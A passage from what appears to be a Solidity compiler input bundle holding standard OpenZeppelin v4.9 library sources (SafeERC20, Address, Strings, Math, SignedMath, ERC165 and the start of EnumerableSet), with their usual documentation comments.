that smart contract wallets (such as Argent or Safe) are not able to produce permit signatures, so\n * contracts should have entry points that don't rely on permit.\n */\ninterface IERC20Permit {\n /**\n * @dev Sets `value` as the allowance of `spender` over ``owner``'s tokens,\n * given ``owner``'s signed approval.\n *\n * IMPORTANT: The same issues {IERC20-approve} has related to transaction\n * ordering also apply here.\n *\n * Emits an {Approval} event.\n *\n * Requirements:\n *\n * - `spender` cannot be the zero address.\n * - `deadline` must be a timestamp in the future.\n * - `v`, `r` and `s` must be a valid `secp256k1` signature from `owner`\n * over the EIP712-formatted function arguments.\n * - the signature must use ``owner``'s current nonce (see {nonces}).\n *\n * For more information on the signature format, see the\n * https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP\n * section].\n *\n * CAUTION: See Security Considerations above.\n */\n function permit(\n address owner,\n address spender,\n uint256 value,\n uint256 deadline,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external;\n\n /**\n * @dev Returns the current nonce for `owner`. This value must be\n * included whenever a signature is generated for {permit}.\n *\n * Every successful call to {permit} increases ``owner``'s nonce by one. This\n * prevents a signature from being used multiple times.\n */\n function nonces(address owner) external view returns (uint256);\n\n /**\n * @dev Returns the domain separator used in the encoding of the signature for {permit}, as defined by {EIP712}.\n */\n // solhint-disable-next-line func-name-mixedcase\n function DOMAIN_SEPARATOR() external view returns (bytes32);\n}\n"
},
"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.3) (token/ERC20/utils/SafeERC20.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../IERC20.sol\";\nimport \"../extensions/IERC20Permit.sol\";\nimport \"../../../utils/Address.sol\";\n\n/**\n * @title SafeERC20\n * @dev Wrappers around ERC20 operations that throw on failure (when the token\n * contract returns false). Tokens that return no value (and instead revert or\n * throw on failure) are also supported, non-reverting calls are assumed to be\n * successful.\n * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,\n * which allows you to call the safe operations as `token.safeTransfer(...)`, etc.\n */\nlibrary SafeERC20 {\n using Address for address;\n\n /**\n * @dev Transfer `value` amount of `token` from the calling contract to `to`. If `token` returns no value,\n * non-reverting calls are assumed to be successful.\n */\n function safeTransfer(IERC20 token, address to, uint256 value) internal {\n _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));\n }\n\n /**\n * @dev Transfer `value` amount of `token` from `from` to `to`, spending the approval given by `from` to the\n * calling contract. If `token` returns no value, non-reverting calls are assumed to be successful.\n */\n function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {\n _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));\n }\n\n /**\n * @dev Deprecated. This function has issues similar to the ones found in\n * {IERC20-approve}, and its usage is discouraged.\n *\n * Whenever possible, use {safeIncreaseAllowance} and\n * {safeDecreaseAllowance} instead.\n */\n function safeApprove(IERC20 token, address spender, uint256 value) internal {\n // safeApprove should only be called when setting an initial allowance,\n // or when resetting it to zero. To increase and decrease it, use\n // 'safeIncreaseAllowance' and 'safeDecreaseAllowance'\n require(\n (value == 0) || (token.allowance(address(this), spender) == 0),\n \"SafeERC20: approve from non-zero to non-zero allowance\"\n );\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));\n }\n\n /**\n * @dev Increase the calling contract's allowance toward `spender` by `value`. If `token` returns no value,\n * non-reverting calls are assumed to be successful.\n */\n function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {\n uint256 oldAllowance = token.allowance(address(this), spender);\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, oldAllowance + value));\n }\n\n /**\n * @dev Decrease the calling contract's allowance toward `spender` by `value`. If `token` returns no value,\n * non-reverting calls are assumed to be successful.\n */\n function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {\n unchecked {\n uint256 oldAllowance = token.allowance(address(this), spender);\n require(oldAllowance >= value, \"SafeERC20: decreased allowance below zero\");\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, oldAllowance - value));\n }\n }\n\n /**\n * @dev Set the calling contract's allowance toward `spender` to `value`. If `token` returns no value,\n * non-reverting calls are assumed to be successful. Meant to be used with tokens that require the approval\n * to be set to zero before setting it to a non-zero value, such as USDT.\n */\n function forceApprove(IERC20 token, address spender, uint256 value) internal {\n bytes memory approvalCall = abi.encodeWithSelector(token.approve.selector, spender, value);\n\n if (!_callOptionalReturnBool(token, approvalCall)) {\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, 0));\n _callOptionalReturn(token, approvalCall);\n }\n }\n\n /**\n * @dev Use a ERC-2612 signature to set the `owner` approval toward `spender` on `token`.\n * Revert on invalid signature.\n */\n function safePermit(\n IERC20Permit token,\n address owner,\n address spender,\n uint256 value,\n uint256 deadline,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) internal {\n uint256 nonceBefore = token.nonces(owner);\n token.permit(owner, spender, value, deadline, v, r, s);\n uint256 nonceAfter = token.nonces(owner);\n require(nonceAfter == nonceBefore + 1, \"SafeERC20: permit did not succeed\");\n }\n\n /**\n * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement\n * on the return value: the return value is optional (but if data is returned, it must not be false).\n * @param token The token targeted by the call.\n * @param data The call data (encoded using abi.encode or one of its variants).\n */\n function _callOptionalReturn(IERC20 token, bytes memory data) private {\n // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since\n // we're implementing it ourselves. We use {Address-functionCall} to perform this call, which verifies that\n // the target address contains contract code and also asserts for success in the low-level call.\n\n bytes memory returndata = address(token).functionCall(data, \"SafeERC20: low-level call failed\");\n require(returndata.length == 0 || abi.decode(returndata, (bool)), \"SafeERC20: ERC20 operation did not succeed\");\n }\n\n /**\n * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement\n * on the return value: the return value is optional (but if data is returned, it must not be false).\n * @param token The token targeted by the call.\n * @param data The call data (encoded using abi.encode or one of its variants).\n *\n * This is a variant of {_callOptionalReturn} that silents catches all reverts and returns a bool instead.\n */\n function _callOptionalReturnBool(IERC20 token, bytes memory data) private returns (bool) {\n // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since\n // we're implementing it ourselves. We cannot use {Address-functionCall} here since this should return false\n // and not revert is the subcall reverts.\n\n (bool success, bytes memory returndata) = address(token).call(data);\n return\n success && (returndata.length == 0 || abi.decode(returndata, (bool))) && Address.isContract(address(token));\n }\n}\n"
},
"@openzeppelin/contracts/utils/Address.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (utils/Address.sol)\n\npragma solidity ^0.8.1;\n\n/**\n * @dev Collection of functions related to the address type\n */\nlibrary Address {\n /**\n * @dev Returns true if `account` is a contract.\n *\n * [IMPORTANT]\n * ====\n * It is unsafe to assume that an address for which this function returns\n * false is an externally-owned account (EOA) and not a contract.\n *\n * Among others, `isContract` will return false for the following\n * types of addresses:\n *\n * - an externally-owned account\n * - a contract in construction\n * - an address where a contract will be created\n * - an address where a contract lived, but was destroyed\n *\n * Furthermore, `isContract` will also return true if the target contract within\n * the same transaction is already scheduled for destruction by `SELFDESTRUCT`,\n * which only has an effect at the end of a transaction.\n * ====\n *\n * [IMPORTANT]\n * ====\n * You shouldn't rely on `isContract` to protect against flash loan attacks!\n *\n * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets\n * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract\n * constructor.\n * ====\n */\n function isContract(address account) internal view returns (bool) {\n // This method relies on extcodesize/address.code.length, which returns 0\n // for contracts in construction, since the code is only stored at the end\n // of the constructor execution.\n\n return account.code.length > 0;\n }\n\n /**\n * @dev Replacement for Solidity's `transfer`: sends `amount` wei to\n * `recipient`, forwarding all available gas and reverting on errors.\n *\n * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\n * of certain opcodes, possibly making contracts go over the 2300 gas limit\n * imposed by `transfer`, making them unable to receive funds via\n * `transfer`. {sendValue} removes this limitation.\n *\n * https://consensys.net/diligence/blog/2019/09/stop-using-soliditys-transfer-now/[Learn more].\n *\n * IMPORTANT: because control is transferred to `recipient`, care must be\n * taken to not create reentrancy vulnerabilities. Consider using\n * {ReentrancyGuard} or the\n * https://solidity.readthedocs.io/en/v0.8.0/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\n */\n function sendValue(address payable recipient, uint256 amount) internal {\n require(address(this).balance >= amount, \"Address: insufficient balance\");\n\n (bool success, ) = recipient.call{value: amount}(\"\");\n require(success, \"Address: unable to send value, recipient may have reverted\");\n }\n\n /**\n * @dev Performs a Solidity function call using a low level `call`. A\n * plain `call` is an unsafe replacement for a function call: use this\n * function instead.\n *\n * If `target` reverts with a revert reason, it is bubbled up by this\n * function (like regular Solidity function calls).\n *\n * Returns the raw returned data. To convert to the expected return value,\n * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\n *\n * Requirements:\n *\n * - `target` must be a contract.\n * - calling `target` with `data` must not revert.\n *\n * _Available since v3.1._\n */\n function functionCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, \"Address: low-level call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with\n * `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but also transferring `value` wei to `target`.\n *\n * Requirements:\n *\n * - the calling contract must have an ETH balance of at least `value`.\n * - the called Solidity function must be `payable`.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {\n return functionCallWithValue(target, data, value, \"Address: low-level call with value failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\n * with `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(address(this).balance >= value, \"Address: insufficient balance for call\");\n (bool success, bytes memory returndata) = target.call{value: value}(data);\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {\n return functionStaticCall(target, data, \"Address: low-level static call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n (bool success, bytes memory returndata) = target.staticcall(data);\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionDelegateCall(target, data, \"Address: low-level delegate call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n (bool success, bytes memory returndata) = target.delegatecall(data);\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /**\n * @dev Tool to verify that a low level call to smart-contract was successful, and revert (either by bubbling\n * the revert reason or using the provided one) in case of unsuccessful call or if target was not a contract.\n *\n * _Available since v4.8._\n */\n function verifyCallResultFromTarget(\n address target,\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n if (success) {\n if (returndata.length == 0) {\n // only check isContract if the call was successful and the return data is empty\n // otherwise we already know that it was a contract\n require(isContract(target), \"Address: call to non-contract\");\n }\n return returndata;\n } else {\n _revert(returndata, errorMessage);\n }\n }\n\n /**\n * @dev Tool to verify that a low level call was successful, and revert if it wasn't, either by bubbling the\n * revert reason or using the provided one.\n *\n * _Available since v4.3._\n */\n function verifyCallResult(\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal pure returns (bytes memory) {\n if (success) {\n return returndata;\n } else {\n _revert(returndata, errorMessage);\n }\n }\n\n function _revert(bytes memory returndata, string memory errorMessage) private pure {\n // Look for revert reason and bubble it up if present\n if (returndata.length > 0) {\n // The easiest way to bubble the revert reason is using memory via assembly\n /// @solidity memory-safe-assembly\n assembly {\n let returndata_size := mload(returndata)\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert(errorMessage);\n }\n }\n}\n"
},
"@openzeppelin/contracts/utils/Context.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.4) (utils/Context.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Provides information about the current execution context, including the\n * sender of the transaction and its data. While these are generally available\n * via msg.sender and msg.data, they should not be accessed in such a direct\n * manner, since when dealing with meta-transactions the account sending and\n * paying for execution may not be the actual sender (as far as an application\n * is concerned).\n *\n * This contract is only required for intermediate, library-like contracts.\n */\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n\n function _contextSuffixLength() internal view virtual returns (uint256) {\n return 0;\n }\n}\n"
},
"@openzeppelin/contracts/utils/Strings.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (utils/Strings.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./math/Math.sol\";\nimport \"./math/SignedMath.sol\";\n\n/**\n * @dev String operations.\n */\nlibrary Strings {\n bytes16 private constant _SYMBOLS = \"0123456789abcdef\";\n uint8 private constant _ADDRESS_LENGTH = 20;\n\n /**\n * @dev Converts a `uint256` to its ASCII `string` decimal representation.\n */\n function toString(uint256 value) internal pure returns (string memory) {\n unchecked {\n uint256 length = Math.log10(value) + 1;\n string memory buffer = new string(length);\n uint256 ptr;\n /// @solidity memory-safe-assembly\n assembly {\n ptr := add(buffer, add(32, length))\n }\n while (true) {\n ptr--;\n /// @solidity memory-safe-assembly\n assembly {\n mstore8(ptr, byte(mod(value, 10), _SYMBOLS))\n }\n value /= 10;\n if (value == 0) break;\n }\n return buffer;\n }\n }\n\n /**\n * @dev Converts a `int256` to its ASCII `string` decimal representation.\n */\n function toString(int256 value) internal pure returns (string memory) {\n return string(abi.encodePacked(value < 0 ? \"-\" : \"\", toString(SignedMath.abs(value))));\n }\n\n /**\n * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.\n */\n function toHexString(uint256 value) internal pure returns (string memory) {\n unchecked {\n return toHexString(value, Math.log256(value) + 1);\n }\n }\n\n /**\n * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.\n */\n function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {\n bytes memory buffer = new bytes(2 * length + 2);\n buffer[0] = \"0\";\n buffer[1] = \"x\";\n for (uint256 i = 2 * length + 1; i > 1; --i) {\n buffer[i] = _SYMBOLS[value & 0xf];\n value >>= 4;\n }\n require(value == 0, \"Strings: hex length insufficient\");\n return string(buffer);\n }\n\n /**\n * @dev Converts an `address` with fixed length of 20 bytes to its not checksummed ASCII `string` hexadecimal representation.\n */\n function toHexString(address addr) internal pure returns (string memory) {\n return toHexString(uint256(uint160(addr)), _ADDRESS_LENGTH);\n }\n\n /**\n * @dev Returns true if the two strings are equal.\n */\n function equal(string memory a, string memory b) internal pure returns (bool) {\n return keccak256(bytes(a)) == keccak256(bytes(b));\n }\n}\n"
},
"@openzeppelin/contracts/utils/introspection/ERC165.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IERC165.sol\";\n\n/**\n * @dev Implementation of the {IERC165} interface.\n *\n * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check\n * for the additional interface id that will be supported. For example:\n *\n * ```solidity\n * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\n * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);\n * }\n * ```\n *\n * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.\n */\nabstract contract ERC165 is IERC165 {\n /**\n * @dev See {IERC165-supportsInterface}.\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\n return interfaceId == type(IERC165).interfaceId;\n }\n}\n"
},
"@openzeppelin/contracts/utils/introspection/IERC165.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC165 standard, as defined in the\n * https://eips.ethereum.org/EIPS/eip-165[EIP].\n *\n * Implementers can declare support of contract interfaces, which can then be\n * queried by others ({ERC165Checker}).\n *\n * For an implementation, see {ERC165}.\n */\ninterface IERC165 {\n /**\n * @dev Returns true if this contract implements the interface defined by\n * `interfaceId`. See the corresponding\n * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]\n * to learn more about how these ids are created.\n *\n * This function call must use less than 30 000 gas.\n */\n function supportsInterface(bytes4 interfaceId) external view returns (bool);\n}\n"
},
"@openzeppelin/contracts/utils/math/Math.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (utils/math/Math.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Standard math utilities missing in the Solidity language.\n */\nlibrary Math {\n enum Rounding {\n Down, // Toward negative infinity\n Up, // Toward infinity\n Zero // Toward zero\n }\n\n /**\n * @dev Returns the largest of two numbers.\n */\n function max(uint256 a, uint256 b) internal pure returns (uint256) {\n return a > b ? a : b;\n }\n\n /**\n * @dev Returns the smallest of two numbers.\n */\n function min(uint256 a, uint256 b) internal pure returns (uint256) {\n return a < b ? a : b;\n }\n\n /**\n * @dev Returns the average of two numbers. The result is rounded towards\n * zero.\n */\n function average(uint256 a, uint256 b) internal pure returns (uint256) {\n // (a + b) / 2 can overflow.\n return (a & b) + (a ^ b) / 2;\n }\n\n /**\n * @dev Returns the ceiling of the division of two numbers.\n *\n * This differs from standard division with `/` in that it rounds up instead\n * of rounding down.\n */\n function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) {\n // (a + b - 1) / b can overflow on addition, so we distribute.\n return a == 0 ? 0 : (a - 1) / b + 1;\n }\n\n /**\n * @notice Calculates floor(x * y / denominator) with full precision. Throws if result overflows a uint256 or denominator == 0\n * @dev Original credit to Remco Bloemen under MIT license (https://xn--2-umb.com/21/muldiv)\n * with further edits by Uniswap Labs also under MIT license.\n */\n function mulDiv(uint256 x, uint256 y, uint256 denominator) internal pure returns (uint256 result) {\n unchecked {\n // 512-bit multiply [prod1 prod0] = x * y. Compute the product mod 2^256 and mod 2^256 - 1, then use\n // use the Chinese Remainder Theorem to reconstruct the 512 bit result. The result is stored in two 256\n // variables such that product = prod1 * 2^256 + prod0.\n uint256 prod0; // Least significant 256 bits of the product\n uint256 prod1; // Most significant 256 bits of the product\n assembly {\n let mm := mulmod(x, y, not(0))\n prod0 := mul(x, y)\n prod1 := sub(sub(mm, prod0), lt(mm, prod0))\n }\n\n // Handle non-overflow cases, 256 by 256 division.\n if (prod1 == 0) {\n // Solidity will revert if denominator == 0, unlike the div opcode on its own.\n // The surrounding unchecked block does not change this fact.\n // See https://docs.soliditylang.org/en/latest/control-structures.html#checked-or-unchecked-arithmetic.\n return prod0 / denominator;\n }\n\n // Make sure the result is less than 2^256. Also prevents denominator == 0.\n require(denominator > prod1, \"Math: mulDiv overflow\");\n\n ///////////////////////////////////////////////\n // 512 by 256 division.\n ///////////////////////////////////////////////\n\n // Make division exact by subtracting the remainder from [prod1 prod0].\n uint256 remainder;\n assembly {\n // Compute remainder using mulmod.\n remainder := mulmod(x, y, denominator)\n\n // Subtract 256 bit number from 512 bit number.\n prod1 := sub(prod1, gt(remainder, prod0))\n prod0 := sub(prod0, remainder)\n }\n\n // Factor powers of two out of denominator and compute largest power of two divisor of denominator. Always >= 1.\n // See https://cs.stackexchange.com/q/138556/92363.\n\n // Does not overflow because the denominator cannot be zero at this stage in the function.\n uint256 twos = denominator & (~denominator + 1);\n assembly {\n // Divide denominator by twos.\n denominator := div(denominator, twos)\n\n // Divide [prod1 prod0] by twos.\n prod0 := div(prod0, twos)\n\n // Flip twos such that it is 2^256 / twos. If twos is zero, then it becomes one.\n twos := add(div(sub(0, twos), twos), 1)\n }\n\n // Shift in bits from prod1 into prod0.\n prod0 |= prod1 * twos;\n\n // Invert denominator mod 2^256. Now that denominator is an odd number, it has an inverse modulo 2^256 such\n // that denominator * inv = 1 mod 2^256. Compute the inverse by starting with a seed that is correct for\n // four bits. That is, denominator * inv = 1 mod 2^4.\n uint256 inverse = (3 * denominator) ^ 2;\n\n // Use the Newton-Raphson iteration to improve the precision. Thanks to Hensel's lifting lemma, this also works\n // in modular arithmetic, doubling the correct bits in each step.\n inverse *= 2 - denominator * inverse; // inverse mod 2^8\n inverse *= 2 - denominator * inverse; // inverse mod 2^16\n inverse *= 2 - denominator * inverse; // inverse mod 2^32\n inverse *= 2 - denominator * inverse; // inverse mod 2^64\n inverse *= 2 - denominator * inverse; // inverse mod 2^128\n inverse *= 2 - denominator * inverse; // inverse mod 2^256\n\n // Because the division is now exact we can divide by multiplying with the modular inverse of denominator.\n // This will give us the correct result modulo 2^256. Since the preconditions guarantee that the outcome is\n // less than 2^256, this is the final result. We don't need to compute the high bits of the result and prod1\n // is no longer required.\n result = prod0 * inverse;\n return result;\n }\n }\n\n /**\n * @notice Calculates x * y / denominator with full precision, following the selected rounding direction.\n */\n function mulDiv(uint256 x, uint256 y, uint256 denominator, Rounding rounding) internal pure returns (uint256) {\n uint256 result = mulDiv(x, y, denominator);\n if (rounding == Rounding.Up && mulmod(x, y, denominator) > 0) {\n result += 1;\n }\n return result;\n }\n\n /**\n * @dev Returns the square root of a number. If the number is not a perfect square, the value is rounded down.\n *\n * Inspired by Henry S. Warren, Jr.'s \"Hacker's Delight\" (Chapter 11).\n */\n function sqrt(uint256 a) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n // For our first guess, we get the biggest power of 2 which is smaller than the square root of the target.\n //\n // We know that the \"msb\" (most significant bit) of our target number `a` is a power of 2 such that we have\n // `msb(a) <= a < 2*msb(a)`. This value can be written `msb(a)=2**k` with `k=log2(a)`.\n //\n // This can be rewritten `2**log2(a) <= a < 2**(log2(a) + 1)`\n // → `sqrt(2**k) <= sqrt(a) < sqrt(2**(k+1))`\n // → `2**(k/2) <= sqrt(a) < 2**((k+1)/2) <= 2**(k/2 + 1)`\n //\n // Consequently, `2**(log2(a) / 2)` is a good first approximation of `sqrt(a)` with at least 1 correct bit.\n uint256 result = 1 << (log2(a) >> 1);\n\n // At this point `result` is an estimation with one bit of precision. We know the true value is a uint128,\n // since it is the square root of a uint256. Newton's method converges quadratically (precision doubles at\n // every iteration). We thus need at most 7 iteration to turn our partial result with one bit of precision\n // into the expected uint128 result.\n unchecked {\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n return min(result, a / result);\n }\n }\n\n /**\n * @notice Calculates sqrt(a), following the selected rounding direction.\n */\n function sqrt(uint256 a, Rounding rounding) internal pure returns (uint256) {\n unchecked {\n uint256 result = sqrt(a);\n return result + (rounding == Rounding.Up && result * result < a ? 1 : 0);\n }\n }\n\n /**\n * @dev Return the log in base 2, rounded down, of a positive value.\n * Returns 0 if given 0.\n */\n function log2(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n unchecked {\n if (value >> 128 > 0) {\n value >>= 128;\n result += 128;\n }\n if (value >> 64 > 0) {\n value >>= 64;\n result += 64;\n }\n if (value >> 32 > 0) {\n value >>= 32;\n result += 32;\n }\n if (value >> 16 > 0) {\n value >>= 16;\n result += 16;\n }\n if (value >> 8 > 0) {\n value >>= 8;\n result += 8;\n }\n if (value >> 4 > 0) {\n value >>= 4;\n result += 4;\n }\n if (value >> 2 > 0) {\n value >>= 2;\n result += 2;\n }\n if (value >> 1 > 0) {\n result += 1;\n }\n }\n return result;\n }\n\n /**\n * @dev Return the log in base 2, following the selected rounding direction, of a positive value.\n * Returns 0 if given 0.\n */\n function log2(uint256 value, Rounding rounding) internal pure returns (uint256) {\n unchecked {\n uint256 result = log2(value);\n return result + (rounding == Rounding.Up && 1 << result < value ? 1 : 0);\n }\n }\n\n /**\n * @dev Return the log in base 10, rounded down, of a positive value.\n * Returns 0 if given 0.\n */\n function log10(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n unchecked {\n if (value >= 10 ** 64) {\n value /= 10 ** 64;\n result += 64;\n }\n if (value >= 10 ** 32) {\n value /= 10 ** 32;\n result += 32;\n }\n if (value >= 10 ** 16) {\n value /= 10 ** 16;\n result += 16;\n }\n if (value >= 10 ** 8) {\n value /= 10 ** 8;\n result += 8;\n }\n if (value >= 10 ** 4) {\n value /= 10 ** 4;\n result += 4;\n }\n if (value >= 10 ** 2) {\n value /= 10 ** 2;\n result += 2;\n }\n if (value >= 10 ** 1) {\n result += 1;\n }\n }\n return result;\n }\n\n /**\n * @dev Return the log in base 10, following the selected rounding direction, of a positive value.\n * Returns 0 if given 0.\n */\n function log10(uint256 value, Rounding rounding) internal pure returns (uint256) {\n unchecked {\n uint256 result = log10(value);\n return result + (rounding == Rounding.Up && 10 ** result < value ? 1 : 0);\n }\n }\n\n /**\n * @dev Return the log in base 256, rounded down, of a positive value.\n * Returns 0 if given 0.\n *\n * Adding one to the result gives the number of pairs of hex symbols needed to represent `value` as a hex string.\n */\n function log256(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n unchecked {\n if (value >> 128 > 0) {\n value >>= 128;\n result += 16;\n }\n if (value >> 64 > 0) {\n value >>= 64;\n result += 8;\n }\n if (value >> 32 > 0) {\n value >>= 32;\n result += 4;\n }\n if (value >> 16 > 0) {\n value >>= 16;\n result += 2;\n }\n if (value >> 8 > 0) {\n result += 1;\n }\n }\n return result;\n }\n\n /**\n * @dev Return the log in base 256, following the selected rounding direction, of a positive value.\n * Returns 0 if given 0.\n */\n function log256(uint256 value, Rounding rounding) internal pure returns (uint256) {\n unchecked {\n uint256 result = log256(value);\n return result + (rounding == Rounding.Up && 1 << (result << 3) < value ? 1 : 0);\n }\n }\n}\n"
},
"@openzeppelin/contracts/utils/math/SignedMath.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.8.0) (utils/math/SignedMath.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Standard signed math utilities missing in the Solidity language.\n */\nlibrary SignedMath {\n /**\n * @dev Returns the largest of two signed numbers.\n */\n function max(int256 a, int256 b) internal pure returns (int256) {\n return a > b ? a : b;\n }\n\n /**\n * @dev Returns the smallest of two signed numbers.\n */\n function min(int256 a, int256 b) internal pure returns (int256) {\n return a < b ? a : b;\n }\n\n /**\n * @dev Returns the average of two signed numbers without overflow.\n * The result is rounded towards zero.\n */\n function average(int256 a, int256 b) internal pure returns (int256) {\n // Formula from the book \"Hacker's Delight\"\n int256 x = (a & b) + ((a ^ b) >> 1);\n return x + (int256(uint256(x) >> 255) & (a ^ b));\n }\n\n /**\n * @dev Returns the absolute unsigned value of a signed value.\n */\n function abs(int256 n) internal pure returns (uint256) {\n unchecked {\n // must be unchecked in order to support `n = type(int256).min`\n return uint256(n >= 0 ? n : -n);\n }\n }\n}\n"
},
"@openzeppelin/contracts/utils/structs/EnumerableSet.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (utils/structs/EnumerableSet.sol)\n// This file was procedurally generated from scripts/generate/templates/EnumerableSet.js.\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Library for managing\n * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive\n * types.\n *\n * Sets have the following properties:\n *\n * - Elements are added, removed, and checked for existence in constant time\n * (O(1)).\n * - Elements are enumerated in O(n). No guarantees are made on the ordering.\n *\n * ```solidity\n * contract Example {\n * // Add the library methods\n * using EnumerableSet for EnumerableSet.AddressSet;\n *\n * // Declare a set state variable\n * EnumerableSet.AddressSet private mySet;\n * }\n * ```\n *\n * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)\n * and `uint256` (`UintSet`) are supported.\n *\n * [WARNING]\n * ====\n * Trying to delete such a structure from storage will likely result in data corruption, rendering the structure\n * unusable.\n * See https://github.com/ethereum/solidity/pull/11843[ethereum/solidity#11843] for more info.\n *\n * In order to clean an EnumerableSet, you can either remove all elements one by one or create a fresh instance using an\n * array of EnumerableSet.\n * ====\n */\nlibrary EnumerableSet {\n // To implement this library for multiple types with as little code\n // repetition as possible, we write it in terms of a generic Set type with\n // bytes32 values.\n // The Set implementation uses private functions, and user-facing\n // implementations (such as AddressSet) are just wrappers around 